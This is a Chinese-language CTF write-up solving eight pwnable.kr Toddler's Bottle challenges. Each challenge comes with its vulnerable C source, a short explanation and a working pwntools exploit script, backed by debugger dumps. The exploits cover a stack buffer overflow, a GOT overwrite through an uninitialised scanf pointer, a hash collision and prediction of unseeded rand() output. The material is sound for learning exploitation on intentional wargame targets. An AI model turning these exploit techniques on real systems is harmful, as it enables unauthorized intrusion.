pwnable.kr - Toddler’s Bottle其一
根据pwnable.kr网站规则,Toddler’s Bottle challenges被允许提供完整解析内容。 笔者并没有优化exploit.py,可能代码存在潜在的性能或者bug, 但是保证每个solution完全可以成功获取flag。
1. Toddler’s Bottle
1-1. fd
目标机器存在fd.c文件,该文件即为fd挑战的源码,显然一下子降低了不少难度。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
setregid(getegid(), getegid());
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
由于是太简单了,就直接提供exploit.py了:)
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
shell = ssh(host='pwnable.kr', user='fd', port=2222, password='guest')
proc = shell.process(['./fd', str(0x1234)])
proc.sendline('LETMEWIN')
print(proc.recvall().decode())
1-2. collision
该题目同样提供了源码col.c。
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}
int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password( argv[1] )){
setregid(getegid(), getegid());
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}
直接提供exploit.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
shell = ssh(host='pwnable.kr', user='col', port=2222, password='guest')
# 0x06C5CEC8 = 0x21DD09EC // 5
# 0x06C5CECC = 0x21DD09EC - 0x06C5CEC8 * 4
payload = p32(0x06C5CEC8) * 4 + p32(0x06C5CECC)
proc = shell.process(['./col', payload])
print(proc.recvall().decode())
1-3. bof
这是缓冲区溢出的入门题目,先查看目标提供的bof.c源码
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
setregid(getegid(), getegid());
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
可以明显看到漏洞函数gets(),该函数由于未能限制输入内容的长度,导致溢出overflowme本地数组。 现代C编程基本上舍弃该函数的使用了,更换为更安全的fgets()。既然知道了漏洞位置,那么利用起来就简单的多了。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
io = remote("pwnable.kr", 9000)
# ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
# 0xffffcb30│+0x0000: 0xffffcb4c → "AAAA" ← $esp
# 0xffffcb34│+0x0004: 0x00000001
# 0xffffcb38│+0x0008: 0xf7ffda20 → 0x56555000 → 0x464c457f
# 0xffffcb3c│+0x000c: 0x5655620a → <func+000d> add ebx, 0x2df6
# 0xffffcb40│+0x0010: 0x00000000
# 0xffffcb44│+0x0014: 0xffffce0b → 0x49e14290
# 0xffffcb48│+0x0018: 0x00000002
# 0xffffcb4c│+0x001c: "AAAA"
# ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
# 0x56556230 <func+0033> lea eax, [ebp-0x2c]
# 0x56556233 <func+0036> push eax
# 0x56556234 <func+0037> call 0x56556060 <gets@plt>
# ●→ 0x56556239 <func+003c> add esp, 0x10
# 0x5655623c <func+003f> cmp DWORD PTR [ebp+0x8], 0xcafebabe
# 0x56556243 <func+0046> jne 0x56556272 <func+117>
# 0x56556245 <func+0048> call 0x56556080 <getegid@plt>
# 0x5655624a <func+004d> mov esi, eax
# 0x5655624c <func+004f> call 0x56556080 <getegid@plt>
# ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
# [#0] Id 1, Name: "bof", stopped 0x56556239 in func (), reason: BREAKPOINT
# ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
# [#0] 0x56556239 → func()
# [#1] 0x565562c5 → main()
# ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
# gef➤ dereference 0xffffcb4c -l 15
# 0xffffcb4c│+0x0000: "AAAA"
# 0xffffcb50│+0x0004: 0xf7ffcf00 → 0xf7fd5410 → push ebp
# 0xffffcb54│+0x0008: 0x00000018
# 0xffffcb58│+0x000c: 0x00000000
# 0xffffcb5c│+0x0010: 0xffffdfc1 → "/root/workSpaces/pwnable.kr/src/Toddler-Bottle/bof[...]"
# 0xffffcb60│+0x0014: 0xf7fc7570 → <__kernel_vsyscall+0000> push ecx
# 0xffffcb64│+0x0018: 0xf7fc7000 → 0x464c457f
# 0xffffcb68│+0x001c: 0x00000000
# 0xffffcb6c│+0x0020: 0x49e14200
# 0xffffcb70│+0x0024: 0xf7faae34 → 0x00228d2c
# 0xffffcb74│+0x0028: 0xffffcc6c → 0xffffce58 → "USER=root"
# 0xffffcb78│+0x002c: 0xffffcb98 → 0x00000000 ← $ebp
# 0xffffcb7c│+0x0030: 0x565562c5 → <main+0028> add esp, 0x10
# 0xffffcb80│+0x0034: 0xdeadbeef
# 0xffffcb84│+0x0038: 0xf7d9393c → 0x00000914
payload = b'A' * 0x34 + p32(0xcafebabe)
io.sendline(payload)
io.interactive()
1-4. passcode
该题目难度提升了不少,先看目标源码passcode.c。
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==123456 && passcode2==13371337){
printf("Login OK!\n");
setregid(getegid(), getegid());
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.1 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
明显可以可以看到scanf存在问题,变量没有加取址&符号。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
shell = ssh(host='pwnable.kr', user='passcode', port=2222, password='guest')
proc = shell.run('./passcode')
# ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
# 0xffffcb24│+0x0000: 0xffffcb38 → 0x00000028 ("("?) ← $esp
# 0xffffcb28│+0x0004: 0xf7fabd40 → 0xfbad2a84
# 0xffffcb2c│+0x0008: 0x080492fe → <welcome+000c> add ebx, 0x2d02
# 0xffffcb30│+0x000c: 0xf7fabd40 → 0xfbad2a84
# 0xffffcb34│+0x0010: 0x0804d1a0 → "enter you name : Login System 1.1 beta.\n"
# 0xffffcb38│+0x0014: 0x00000028 ("("?)
# 0xffffcb3c│+0x0018: 0xffffcba4 → 0x0804c000 → 0x0804bf10 → 0x00000001
# 0xffffcb40│+0x001c: 0x00000028 ("("?)
# ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
# 0x8049321 <welcome+002f> sub esp, 0x8
# 0x8049324 <welcome+0032> lea eax, [ebp-0x70] <= name = ebp-0x70 = 0xffffcb38
# 0x8049327 <welcome+0035> push eax
# ●→ 0x8049328 <welcome+0036> lea eax, [ebx-0x1f8b]
# 0x804932e <welcome+003c> push eax
# 0x804932f <welcome+003d> call 0x80490d0 <__isoc99_scanf@plt>
# 0x8049334 <welcome+0042> add esp, 0x10
# 0x8049337 <welcome+0045> sub esp, 0x8
# 0x804933a <welcome+0048> lea eax, [ebp-0x70]
# gef➤ dereference 0xffffcb38 -l 30
# 0xffffcb38│+0x0000: 0x00000028 ("("?)
# 0xffffcb3c│+0x0004: 0xffffcba4 → 0x0804c000 → 0x0804bf10 → 0x00000001
# ...
# 0xffffcb90│+0x0058: 0xffffcc8c → 0xffffce81 → "USER=root"
# 0xffffcb94│+0x005c: 0xf7ffcb60 → 0x00000000
# 0xffffcb98│+0x0060: 0xffffcbb8 → 0x00000000
# 0xffffcb9c│+0x0064: 0x9880f000
# ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
# 0xffffcb88│+0x0000: 0x41414141 ← $esp
# 0xffffcb8c│+0x0004: 0x08049203 → <login+000d> add ebx, 0x2dfd
# 0xffffcb90│+0x0008: "AAAAAAAAAAAA"
# 0xffffcb94│+0x000c: "AAAAAAAA"
# 0xffffcb98│+0x0010: "AAAA"
# 0xffffcb9c│+0x0014: 0x6f290500
# 0xffffcba0│+0x0018: 0x0804c000 → 0x0804bf10 → 0x00000001
# 0xffffcba4│+0x001c: 0xffffcc8c → 0xffffce81 → "USER=root"
# ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
# 0x8049213 <login+001d> call 0x8049050 <printf@plt>
# 0x8049218 <login+0022> add esp, 0x10
# 0x804921b <login+0025> sub esp, 0x8
# ●→ 0x804921e <login+0028> push DWORD PTR [ebp-0x10] <= passcode1 = ebp-0x10 = 0xffffcb98
# 0x8049221 <login+002b> lea eax, [ebx-0x1fe5]
# 0x8049227 <login+0031> push eax
# 0x8049228 <login+0032> call 0x80490d0 <__isoc99_scanf@plt>
# 0x804922d <login+0037> add esp, 0x10
# 0x8049230 <login+003a> mov eax, DWORD PTR [ebx-0x4]
# gef➤ x/1wx $ebp-0x10
# 0xffffcb98: 0x41414141
# gef➤ dereference 0xffffcb38 -l 30
# 0xffffcb38│+0x0000: "AAAA"
# ...
# 0xffffcb94│+0x005c: "AAAAAAAA"
# 0xffffcb98│+0x0060: "AAAA"
# 0xffffcb9c│+0x0064: 0x6f290500
# gef➤ disassemble fflush
# Dump of assembler code for function fflush@plt:
# 0x08049060 <+0>: jmp DWORD PTR ds:0x804c014
# 0x08049066 <+6>: push 0x10
# 0x0804906b <+11>: jmp 0x8049030
# End of assembler dump.
#
# 0xffffcb98 - 0xffffcb38 = 0x60 = 96
payload1 = b"A" * 96 + p32(0x804c014)
proc.sendlineafter(b"enter you name :", payload1)
# gef➤ disassemble login
# Dump of assembler code for function login:
# 0x080491f6 <+0>: push ebp
# 0x080491f7 <+1>: mov ebp,esp
# ...
# 0x0804929e <+168>: add esp,0x10
# 0x080492a1 <+171>: call 0x8049080 <getegid@plt> <= jmp here because of permission
# 0x080492a6 <+176>: mov esi,eax
# 0x080492a8 <+178>: call 0x8049080 <getegid@plt>
# 0x080492ad <+183>: sub esp,0x8
# 0x080492b0 <+186>: push esi
# 0x080492b1 <+187>: push eax
# 0x080492b2 <+188>: call 0x80490c0 <setregid@plt>
# 0x080492b7 <+193>: add esp,0x10
# 0x080492ba <+196>: sub esp,0xc
# 0x080492bd <+199>: lea eax,[ebx-0x1fb9]
# 0x080492c3 <+205>: push eax
# 0x080492c4 <+206>: call 0x80490a0 <system@plt>
# 0x080492c9 <+211>: add esp,0x10
# End of assembler dump.
#
# 0x080492a1 = 134517409
payload2 = b"134517409"
proc.sendlineafter(b"enter passcode1 :", payload2)
print(proc.recvall().decode())
1-5. random
该题目主要考察对random相关函数的细节上,先看目标源码random.c
#include <stdio.h>
int main(){
unsigned int random;
random = rand(); // random value!
unsigned int key=0;
scanf("%d", &key);
if( (key ^ random) == 0xcafebabe ){
printf("Good!\n");
setregid(getegid(), getegid());
system("/bin/cat flag");
return 0;
}
printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}
可以明显可以看到随机函数没有设置种子,即没有调用srand()函数。这就失去了随机函数的本质了,可以通过trick预测下一个随机数字。 简单编写一个预测随机数字的程序calc_key.c。
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
unsigned int random, key;
random = rand();
key = random ^ 0xcafebabe;
printf("Get random %u\n", random);
printf("Get key %u\n", key);
return 0;
}
于是解决方案呼之欲来。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
shell = ssh(host='pwnable.kr', user='random', port=2222, password='guest')
proc = shell.process(['./random'])
# if not use srand to set seed, the seed default 1
# make
# (.venv) ➜ random git:(master) ✗ ./calc_key
# Get random 1804289383
# Get key 2708864985
payload = b"2708864985"
proc.sendline(payload)
print(proc.recvall().decode())
1-6. input2
该题目叠加了多层限制条件,需要逐步过滤对输入的限制。先看目标源码input2.c。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
// here's your flag
setregid(getegid(), getegid());
system("/bin/cat flag");
return 0;
}
可以看到总共五个关卡,每个关卡难度不高,直接提供最终方案。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import socket
import random
context.log_level = 'debug'
# remember to create /tmp/input2_exp, and copy this exploit.py to /tmp/input2_exp
port = random.randint(10000, 60000)
stage3 = {"\xde\xad\xbe\xef": "\xca\xfe\xba\xbe"}
process(["mkdir", "-p", "/tmp/input2_exp"])
with open("/tmp/input2_exp/\x0a", "wb") as stage4:
stage4.write(b"\x00\x00\x00\x00")
stage4.flush()
process(["ln", "-s", "/home/input2/flag", "/tmp/input2_exp/flag"])
# stage1
argv = ["/home/input2/input2"]
for i in range(1, 100):
argv.append("A" * 8)
argv[ord('A')] = "\x00"
argv[ord('B')] = "\x20\x0a\x0d"
argv[ord('C')] = str(port)
proc = process(argv=argv, env=stage3)
proc.recvuntil(b"Stage 1 clear!\n")
log.info("Stage 1 clear!\n")
# stage2
proc.stdin.write(b"\x00\x0a\x00\xff")
proc.stdin.flush()
proc.stderr.write(b"\x00\x0a\x02\xff")
proc.stderr.flush()
proc.recvuntil(b"Stage 2 clear!\n")
log.info("Stage 2 clear!\n")
# stage3
# stage3 = {"\xde\xad\xbe\xef": "\xca\xfe\xba\xbe"}
proc.recvuntil(b"Stage 3 clear!\n");
log.info("Stage 3 clear!\n")
# stage4
# process(["mkdir", "-p", "/tmp/input2_exp"])
# with open("/tmp/input2_exp/\x0a", "wb") as stage4:
# stage4.write(b"\x00\x00\x00\x00")
# stage4.flush()
proc.recvuntil(b"Stage 4 clear!\n");
log.info("Stage 4 clear!\n")
process(["rm", "-f", "/tmp/input2_exp/\x0a"])
# stage5
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("localhost", port))
sock.send(b"\xde\xad\xbe\xef")
sock.close()
proc.recvuntil(b"Stage 5 clear!\n");
log.info("Stage 5 clear!\n")
flag = proc.recvall().decode().strip()
log.info(f"Get Flag: {flag}")
log.info("Clean temp dir and files...")
process(["rm", "-rf", "/tmp/input2_exp"])
1-7 leg
该题目既考察C技能,又涉及arm汇编的技巧。先看目标提供的源码。
// leg.c
#include <stdio.h>
#include <fcntl.h>
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}
key1、key2 和 key3 函数概述
这些函数专为从 ARM 汇编中的程序计数器(PC)和链接寄存器(LR)寄存器推导特定值而设计。它们的返回值在 main 函数中被求和,并与用户输入进行比较,以决定是否授予访问权限(例如,在 CTF 挑战中显示标志)。理解 ARM 架构中 PC 和 LR 的行为至关重要,由于流水线效应,PC 通常指向超前的地址,而 LR 则在分支指令后保存返回地址。
各函数详解
- key1 函数(在 ARM 模式下执行):
- 操作:
mov r3, pc从地址0x00008cdc开始执行,该指令将程序计数器(PC)的当前值移动到寄存器r3中。在 ARM 模式下,由于处理器的流水线架构,PC 寄存器通常指向下一条指令之后的两条指令(即当前地址 + 8 字节)。因此,在执行mov r3, pc时,PC 的值大约是0x00008cdc + 8 = 0x00008ce4。该值随后通过r0返回。 - 返回值:
key1返回0x00008ce4(十六进制),该值对应经过流水线调整后的 PC 所指向指令的下一条指令地址。
- 操作:
- key2 函数(涉及从 ARM 模式切换到 Thumb 模式):
- 操作:此函数从
0x00008cf0开始,并包含从 ARM 指令集模式到 Thumb 指令集模式的切换。关键步骤包括:add r6, pc, #1:将 PC 值加 1 后存入r6(最低有效位设置为 1 表示 Thumb 模式)。bx r6:跳转到r6中的地址,并切换到 Thumb 模式,该模式下的指令宽度为 2 字节。- 在 Thumb 模式(
.code 16)下,执行mov r3, pc。此时,由于 Thumb 模式的流水线效应,PC 指向当前指令 + 4 字节。 adds r3, #4:将r3中的值再加 4,进行进一步调整。
- 返回值:假设
mov r3, pc从0x00008d04开始,经过调整后r3中的最终值大约为0x00008d04 + 4 + 4 = 0x00008d0c(具体值可能因确切的流水线行为而略有不同)。因此,key2返回0x00008d0c。
- 操作:此函数从
- key3 函数:
- 操作:此函数简单地执行
mov r3, lr,将链接寄存器(LR)的值移动到r3。LR 保存最近一个带链接的分支指令(例如bl)后的返回地址。在main函数中,通过bl key3调用key3,因此 LR 中包含的是main函数中该调用之后下一条指令的地址,即0x00008d80。 - 返回值:
key3返回0x00008d80,直接反映了 LR 中存储的返回地址。
- 操作:此函数简单地执行
求和计算与用户输入
在 main 函数中,key1、key2 和 key3 的返回值被求和并与用户输入进行比较:
- 求和计算:
key1_result + key2_result + key3_result = 0x00008ce4 + 0x00008d0c + 0x00008d80 = 0x1a770 = 108400(十进制)。
关键概念:ARM 架构中的 PC 和 LR
- 程序计数器 (PC):指向将要执行的下一条指令。在 ARM 模式下,由于流水线机制,PC 的读取值通常是当前地址 + 8 字节;在 Thumb 模式下,则通常是当前地址 + 4 字节。
- 链接寄存器 (LR):在
bl(带链接的分支)指令后存储返回地址,使函数能够返回到正确的位置。 - ARM/Thumb 模式:ARM 处理器支持两种指令集。通过
bx指令进行模式切换,目标地址的最低有效位(LSB)决定模式(1 为 Thumb,0 为 ARM)。
最终解决方案如下:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
key1_pc = 0x00008cdc + 8
key2_thumb_addr = 0x00008d04 + 4 + 4
key3_lr = 0x00008d80
payload = key1_pc + key2_thumb_addr + key3_lr
print(payload)
1-8 mistake
该题目主要考察C编程易忽略的细节,先看目标源码mistake.c
#include <stdio.h>
#include <fcntl.h>
#define PW_LEN 10
#define XORKEY 1
void xor(char* s, int len){
int i;
for(i=0; i<len; i++){
s[i] ^= XORKEY;
}
}
int main(int argc, char* argv[]){
int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}
printf("do not bruteforce...\n");
sleep(time(0)%20);
char pw_buf[PW_LEN+1];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
printf("read error\n");
close(fd);
return 0;
}
char pw_buf2[PW_LEN+1];
printf("input password : ");
scanf("%10s", pw_buf2);
// xor your input
xor(pw_buf2, 10);
if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
setregid(getegid(), getegid());
system("/bin/cat flag\n");
}
else{
printf("Wrong Password\n");
}
close(fd);
return 0;
}
明显可以看到由于疏忽运算符优先级,造成fd恒等为0。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
shell = ssh(host='pwnable.kr', user='mistake', port=2222, password='guest')
# if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
# printf("can't open password %d\n", fd);
# return 0;
# }
#
# hint : operator priority
#
# fd always equal = 0
password1= b'A' * 10
password2 = bytes([x ^ 1 for x in password1])
proc = shell.process(executable="/home/mistake/mistake")
proc.recvuntil(b"do not bruteforce...\n")
time.sleep(20)
proc.sendline(password1)
proc.recvuntil(b"input password : ")
proc.sendline(password2)
proc.recvuntil(b"Password OK\n")
print(proc.recvall().decode())
未完待续…
参考
https://pwnable.kr
文档信息
- 本文作者:BinRacer
- 本文链接:https://BinRacer.github.io/2025/09/20/pwnable.kr-ToddlerBottle%E5%85%B6%E4%B8%80/
- 版权声明:自由转载-非商用-非衍生-保持署名(创意共享3.0许可证)